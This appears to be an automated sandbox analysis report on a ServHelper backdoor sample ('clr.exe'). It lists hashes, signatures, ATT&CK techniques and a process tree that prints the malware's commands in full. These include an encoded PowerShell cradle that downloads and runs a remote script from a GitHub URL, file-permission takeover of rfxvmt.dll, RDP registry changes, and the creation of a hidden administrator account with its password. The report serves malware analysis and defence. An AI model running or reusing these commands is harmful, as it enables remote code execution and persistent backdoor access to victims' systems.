Analysis

  • max time kernel
    134s
  • max time network
    52s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    27-04-2021 14:25

General

  • Target

    clr.exe

  • Size

    6.0MB

  • MD5

    1e9f45329ffece31382bb884367f58df

  • SHA1

    52d3d55364d8c4d350231d38bfe6eb156cf8473f

  • SHA256

    8779c8ac97c45254bc243e2ee79b436d1a96bc56885dcaa72c4837790b2071fc

  • SHA512

    12272d5f20c42764992420aa1a178b16d7ef1873f2c9619bd8ac16e0eb9a0067a08a9d70863c1d3e95dd4a2aa19c081ae0baabaf3431f5068ea7191c8f4d6c62

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\clr.exe
    "C:\Users\Admin\AppData\Local\Temp\clr.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1996
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1716
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dj2uzjl3\dj2uzjl3.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1944
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3B2C.tmp" "c:\Users\Admin\AppData\Local\Temp\dj2uzjl3\CSC13CA4630FD7E46319A767537DECD84BF.TMP"
          4⤵
            PID:844
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:568
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1104
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1168
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1624
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1152
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:268
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1264
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:296
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1040
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1628
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1588
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1056
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1704
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1664
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1880
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1384
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:816
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1336
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1668
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:960
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:1168
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:1052
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:1140
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:992
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:964
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:1140
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc 000000 /del
                            1⤵
                              PID:1016
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 000000 /del
                                2⤵
                                  PID:1712
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                    3⤵
                                      PID:1620
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc 5M9u06hR /add
                                  1⤵
                                    PID:1632
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc 5M9u06hR /add
                                      2⤵
                                        PID:1704
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc 5M9u06hR /add
                                          3⤵
                                            PID:1708
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        1⤵
                                          PID:2040
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                            2⤵
                                              PID:712
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                3⤵
                                                  PID:972
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                              1⤵
                                                PID:1624
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                                  2⤵
                                                    PID:1040
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                                      3⤵
                                                        PID:968
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    1⤵
                                                      PID:1620
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                        2⤵
                                                          PID:1944
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                            3⤵
                                                              PID:592
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user WgaUtilAcc 5M9u06hR
                                                          1⤵
                                                            PID:1632
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user WgaUtilAcc 5M9u06hR
                                                              2⤵
                                                                PID:1912
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user WgaUtilAcc 5M9u06hR
                                                                  3⤵
                                                                    PID:816
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:964
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:360
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:1708
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:940
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:984
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:580
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:932

                                                                      Network

                                                                      MITRE ATT&CK Matrix ATT&CK v6

                                                                      Persistence

                                                                      Account Manipulation

                                                                      1
                                                                      T1098

                                                                      Registry Run Keys / Startup Folder

                                                                      1
                                                                      T1060

                                                                      Defense Evasion

                                                                      Modify Registry

                                                                      2
                                                                      T1112

                                                                      File Permissions Modification

                                                                      1
                                                                      T1222

                                                                      Lateral Movement

                                                                      Remote Desktop Protocol

                                                                      1
                                                                      T1076

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_25f301be-b2c6-4f25-ad6c-fc70afc0d642
                                                                        MD5

                                                                        6f0d509e28be1af95ba237d4f43adab4

                                                                        SHA1

                                                                        c665febe79e435843553bee86a6cea731ce6c5e4

                                                                        SHA256

                                                                        f545be30e70cd6e1b70e98239219735f6b61c25712720bb1e1738f02be900e7e

                                                                        SHA512

                                                                        8dbadc140fd18eb16e2a282e3a0a895299b124850e7b9454a3f24e1cc1c090c5bebfbff5062e8807369e84ed7359e0854722cfd45b9a63681f9fea8c97fab797

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_44690195-8023-4b49-a166-fbc4d2d2cafc
                                                                        MD5

                                                                        2d5cd190b5db0620cd62e3cd6ba1dcd3

                                                                        SHA1

                                                                        ff4f229f4fbacccdf11d98c04ba756bda80aac7a

                                                                        SHA256

                                                                        ab9aee31b3411bcc5a5fb51e9375777cca79cfb3a532d93ddd98a5673c60571d

                                                                        SHA512

                                                                        edb2a46f3ee33b48f8fe0b548c1e7940978d0e4ac90d5090807d8b5c8b1320217e5d66990b1d0a85546acbbaf9b601590d35de87de234da8eafd60d12fdce610

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_5ff27bac-9f38-4729-83ee-0ebcc971626d
                                                                        MD5

                                                                        e5b3ba61c3cf07deda462c9b27eb4166

                                                                        SHA1

                                                                        b324dad73048be6e27467315f82b7a5c1438a1f9

                                                                        SHA256

                                                                        b84fae85b6203a0c8c9db3ba3c050c97d6700e5c9ae27dd31c103ec1bbb02925

                                                                        SHA512

                                                                        a5936a098db2e8c0d0231fd97d73cc996ad99897fd64f0e5c6761c44b8eb2db2bff477843d326503e6027c1113da0e8e35f4227195a3cf505c5a374ebe0f67fc

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_801b9513-4a94-44fe-918d-608a27661926
                                                                        MD5

                                                                        faa37917b36371249ac9fcf93317bf97

                                                                        SHA1

                                                                        a0f0d84d58ee518d33a69f5f1c343aa921c8ffd4

                                                                        SHA256

                                                                        b92f1a891dbe4152a1f834774cc83378d8b4cffb7e344a813219d74ec4084132

                                                                        SHA512

                                                                        614d3692e5be7554a72a38af408458254af271eaf6855f322ae07aaa647b1478c7ad13027285c8d9999db3739d65ac85ecfdf3e56acca8484083aa0e31de2198

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_88d08a2f-a1d0-40c1-ad67-a819ece976a3
                                                                        MD5

                                                                        a70ee38af4bb2b5ed3eeb7cbd1a12fa3

                                                                        SHA1

                                                                        81dbaeae4b0f9e1adc0a1e3d6d76a12396498ba9

                                                                        SHA256

                                                                        dd2f41f92f19c3fe031bdf5da68ab06768e26762d0077b290cd0094df1d5d58d

                                                                        SHA512

                                                                        8c69a5300c7545c5c4b25a0594e6813b6b7a85b5f3ae7fc5464b4074fe6f50b2f49d31cacf19bc20a02bb8e237656f1b9b2a3f6a3953e3a8478ca2adc154e0e3

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b5893cf2-896f-49ec-8b40-c972772db15c
                                                                        MD5

                                                                        d89968acfbd0cd60b51df04860d99896

                                                                        SHA1

                                                                        b3c29916ccb81ce98f95bbf3aa8a73de16298b29

                                                                        SHA256

                                                                        1020cc7c929cd5a4e68ccb40353ca76f427df363f0d95e456eb79db039bdb2b9

                                                                        SHA512

                                                                        b0e886cce598371b59131fed1535e220c798691bad93ef9474ba440066f5a6bd77a60966604b7a5ff6298b2e200c9dd0c8f9f04aff208b2af423480ead4e8842

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ef6c31f0-3f28-4101-a0b2-55a544aa7961
                                                                        MD5

                                                                        7f79b990cb5ed648f9e583fe35527aa7

                                                                        SHA1

                                                                        71b177b48c8bd745ef02c2affad79ca222da7c33

                                                                        SHA256

                                                                        080ec69d3f2abac629a0bdc314f150ad42a9a1b0a031b1d5c7b5b80051c48683

                                                                        SHA512

                                                                        20926edf7f0b990da4bd8d7ba91bd8bf7b952b75080f687afa7197a91777604688303d38b4a0a7240b558c23f2e0cd927d3590765109f8be0551f5eb050eafda

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
                                                                        MD5

                                                                        3e0cb92aae53070feeed08bfed2d9dec

                                                                        SHA1

                                                                        ed6f922108a9ad92657b1f5ed7bcf75db54798ca

                                                                        SHA256

                                                                        f1304402c3bc8d7304806e2f6ef4a0d8bd57f5f8183f6ec3c365187db6319ba0

                                                                        SHA512

                                                                        0de8b5db4f41f5e62168b9bd7d6a366119d87f78b87856da98f8930340b54de3e20df1dd5a9088f51d97ade7ca1e1de245d470f057c677fbd73b1584e7339985

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
                                                                        MD5

                                                                        e060a46725d7e2a5dfbc72325b8af309

                                                                        SHA1

                                                                        d622c60b1403dee8753757d360a43a578fcc34b6

                                                                        SHA256

                                                                        85b86f8fe324ef0bd336384151e57127f0bc2cfe5dfd2c8dc3899f0a8cf12478

                                                                        SHA512

                                                                        7fc51f4349917c8e7a448698783649fd302f88e29d68fdb356346691074eaacd5121f44f24439d21128f0a4dec19a188dafdc5d99a4a777c72144fdc540323f7

                                                                      • C:\Users\Admin\AppData\Local\Temp\Get-Content.PS1
                                                                        MD5

                                                                        57c548b15fb26ecf9053a5adc58db9f2

                                                                        SHA1

                                                                        c9f15dbef109de66634ddd66d205aa8a13d90428

                                                                        SHA256

                                                                        84a3d6308c04697e1b736ba62d3f9cc8b94c0183714f67cf027c6681dfad47bb

                                                                        SHA512

                                                                        eb99e2574128f8f6c1e6cafff310c379c8e0a8968293038bebe68ec1864b83f01bc9b72314699ea9ecf49054103ca05d6de80201519047424a1f0b865365f10a

                                                                      • C:\Users\Admin\AppData\Local\Temp\RES3B2C.tmp
                                                                        MD5

                                                                        f1192e0c3b2b0fc52274bbe58943a6cd

                                                                        SHA1

                                                                        049a0737ec763cdab62b4ae7500939711f04be91

                                                                        SHA256

                                                                        40d2bfa0f18f763c90d19291c01e4e01f3270add2d1f84481be8714209844898

                                                                        SHA512

                                                                        83ded346c59adccebdf7904912c6428cce666d97c0f9c05c65d02cb38f319d9b61e60bd53cfaa5b579b81c9eb36028c0c881ef109d5866873c0d16f2fdeb2580

                                                                      • C:\Users\Admin\AppData\Local\Temp\dj2uzjl3\dj2uzjl3.dll
                                                                        MD5

                                                                        79ef440538d155354113fda08ce0186d

                                                                        SHA1

                                                                        98fdb4c28d13d3434c40065fff660183b56b808d

                                                                        SHA256

                                                                        bc935c512f978490d78a7a26e4cbbce0fda2b8bc65a365e0b713620ed1649703

                                                                        SHA512

                                                                        51c7a849d203968a94b609fcaa423202bf9574e11cb5e684090b83ac730b966f9ddf2c804c87edff1f1d40bfb2a0b070d144e5a627c2cac62301b592d9d15b3b

                                                                      • C:\Users\Admin\AppData\Local\Temp\ready.ps1
                                                                        MD5

                                                                        37330f50cf392bca59567a22de3b836a

                                                                        SHA1

                                                                        f7b37328533a133567aa28f03015da69e2e36547

                                                                        SHA256

                                                                        a34c2923388f87e84a4f67f123626af4eff5e7d7e5abe327b6a1b1aa55a12de1

                                                                        SHA512

                                                                        5d1c19df182caf82388fd05e30422fa957af30a4092334a53a128e36d6c3ce2cb20aa10d96344cd8b1b145180df4d737b30bbd48a1c809ce25a82912397b19a6

                                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
                                                                        MD5

                                                                        cef4258b83cf1399ed5a1e487c37329c

                                                                        SHA1

                                                                        5e0cc21e3c018018b4abcf5c2361946488d44959

                                                                        SHA256

                                                                        ea607435b33227b7fff7ff90dcd66a72c3fa42e969dc1b37b9657e55205cde80

                                                                        SHA512

                                                                        aef4f0283fecab1d766f004f70b26920e2f7c61c0c7a0dd18d8809f0ad2d8a01ba8b834479ccaaafcf15f44d835947330c48ae53df0d4c91578270e2c584fbde

                                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
                                                                        MD5

                                                                        cef4258b83cf1399ed5a1e487c37329c

                                                                        SHA1

                                                                        5e0cc21e3c018018b4abcf5c2361946488d44959

                                                                        SHA256

                                                                        ea607435b33227b7fff7ff90dcd66a72c3fa42e969dc1b37b9657e55205cde80

                                                                        SHA512

                                                                        aef4f0283fecab1d766f004f70b26920e2f7c61c0c7a0dd18d8809f0ad2d8a01ba8b834479ccaaafcf15f44d835947330c48ae53df0d4c91578270e2c584fbde

                                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
                                                                        MD5

                                                                        cef4258b83cf1399ed5a1e487c37329c

                                                                        SHA1

                                                                        5e0cc21e3c018018b4abcf5c2361946488d44959

                                                                        SHA256

                                                                        ea607435b33227b7fff7ff90dcd66a72c3fa42e969dc1b37b9657e55205cde80

                                                                        SHA512

                                                                        aef4f0283fecab1d766f004f70b26920e2f7c61c0c7a0dd18d8809f0ad2d8a01ba8b834479ccaaafcf15f44d835947330c48ae53df0d4c91578270e2c584fbde

                                                                      • C:\Windows\system32\rfxvmt.dll
                                                                        MD5

                                                                        dc39d23e4c0e681fad7a3e1342a2843c

                                                                        SHA1

                                                                        58fd7d50c2dca464a128f5e0435d6f0515e62073

                                                                        SHA256

                                                                        6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

                                                                        SHA512

                                                                        5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

                                                                      • \??\PIPE\srvsvc
                                                                        MD5

                                                                        d41d8cd98f00b204e9800998ecf8427e

                                                                        SHA1

                                                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                        SHA256

                                                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                        SHA512

                                                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                      • \??\c:\Users\Admin\AppData\Local\Temp\dj2uzjl3\CSC13CA4630FD7E46319A767537DECD84BF.TMP
                                                                        MD5

                                                                        8c9765296aa5fb84d469d8df15cf8b55

                                                                        SHA1

                                                                        b777743e799562d979e43c4bb330a2fcf84093c7

                                                                        SHA256

                                                                        9210359cb8f0b164bf4e13540060243bebc95c3a9f377076abec9565ace9553b

                                                                        SHA512

                                                                        17ddbda95470f5388a7306492d475f4b79a7f0c2052707ac760386c4dd5d6a5e95d7a41c17ca5c5b9d3325b447f4263469b34d8a029eabc9b71b832871978551

                                                                      • \??\c:\Users\Admin\AppData\Local\Temp\dj2uzjl3\dj2uzjl3.0.cs
                                                                        MD5

                                                                        fdff1f264c5f5570a5393659b154cb88

                                                                        SHA1

                                                                        de254de5e517074a9986b36fec83f921aa9aa497

                                                                        SHA256

                                                                        ff936e8436684fa709bed64fea9021468fd0c744a4e3412b3ef86e642d6c3769

                                                                        SHA512

                                                                        db434d37d6e5acb096c26abe7f07744a1a1379179f013810df3f95e41e2b7f55dfe7dc65d053a3d0c6401bc13c7dd99e940073fbe741237966620761c3b9e35a

                                                                      • \??\c:\Users\Admin\AppData\Local\Temp\dj2uzjl3\dj2uzjl3.cmdline
                                                                        MD5

                                                                        b5f27df9a56e9c1acc7af93ec1a87d83

                                                                        SHA1

                                                                        d5ae5fc013afe699807e2e5b05f6b4f075c02821

                                                                        SHA256

                                                                        cace0a0f14e7272d3f161efa0de0994a8da7ebd9f97fa20f38b3dabef84fe502

                                                                        SHA512

                                                                        eef8d2a3847c76f9e8a1dbcdee50889f982957963b58fb1638b2071019fd4f9fb34ba34481bfe896da99ff05ace1d233bcd29e0cfa4b8f87493d58288f04abb9

                                                                      • \Windows\Branding\mediasrv.png
                                                                        MD5

                                                                        ddc17bc082038ee52b30808daf87f090

                                                                        SHA1

                                                                        f862491e1195e039e05bd241856a9015846b3096

                                                                        SHA256

                                                                        a04583453340fa979e7efae6022c531ef06e175c388a15214bd6d32a67f1e627

                                                                        SHA512

                                                                        6f5edb94f56ec7e70199bfce671f20b111b102a017ba48ff7b391b09bb7485d3a7be9c2bdc2fa587b463a2874c795992db4a5dd824a4d7a4c0fdeb41ff3a9370

                                                                      • \Windows\Branding\mediasvc.png
                                                                        MD5

                                                                        072548125d601f1048b4cb73682cbb7b

                                                                        SHA1

                                                                        5d3582747ad69cff9db5aa45b20816a7c2218cf0

                                                                        SHA256

                                                                        e4453d95ba2fa4de68fa324a1dc8e59028969d86ea5b5a8b08a1bc33bce40582

                                                                        SHA512

                                                                        b54f5fcf9d153a61c82dc698d7dc7314720fda304e013ad8dc04fc277e6ff905a049f945f2adcc61df7b4853d38d92da026b7836f6aa52a331a4cba9a56184fb

                                                                      • memory/268-161-0x0000000000000000-mapping.dmp
                                                                      • memory/296-163-0x0000000000000000-mapping.dmp
                                                                      • memory/360-194-0x0000000000000000-mapping.dmp
                                                                      • memory/568-98-0x000000001B5B0000-0x000000001B5B1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                      • memory/568-100-0x000000001AA10000-0x000000001AA11000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                      • memory/568-121-0x000000001BB50000-0x000000001BB51000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                      • memory/568-94-0x000000001AA60000-0x000000001AA62000-memory.dmp
                                                                        Filesize

                                                                        8KB

                                                                      • memory/568-95-0x000000001AA64000-0x000000001AA66000-memory.dmp
                                                                        Filesize

                                                                        8KB

                                                                      • memory/568-96-0x0000000002690000-0x0000000002691000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                      • memory/568-120-0x000000001B8C0000-0x000000001B8C1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                      • memory/568-107-0x000000001BD00000-0x000000001BD01000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                      • memory/568-101-0x0000000002440000-0x0000000002441000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                      • memory/568-88-0x0000000000000000-mapping.dmp
                                                                      • memory/580-196-0x0000000000000000-mapping.dmp
                                                                      • memory/592-191-0x0000000000000000-mapping.dmp
                                                                      • memory/712-186-0x0000000000000000-mapping.dmp
                                                                      • memory/816-172-0x0000000000000000-mapping.dmp
                                                                      • memory/816-193-0x0000000000000000-mapping.dmp
                                                                      • memory/844-79-0x0000000000000000-mapping.dmp
                                                                      • memory/932-203-0x0000000019620000-0x0000000019622000-memory.dmp
                                                                        Filesize

                                                                        8KB

                                                                      • memory/932-205-0x000000001962A000-0x0000000019649000-memory.dmp
                                                                        Filesize

                                                                        124KB

                                                                      • memory/932-204-0x0000000019624000-0x0000000019626000-memory.dmp
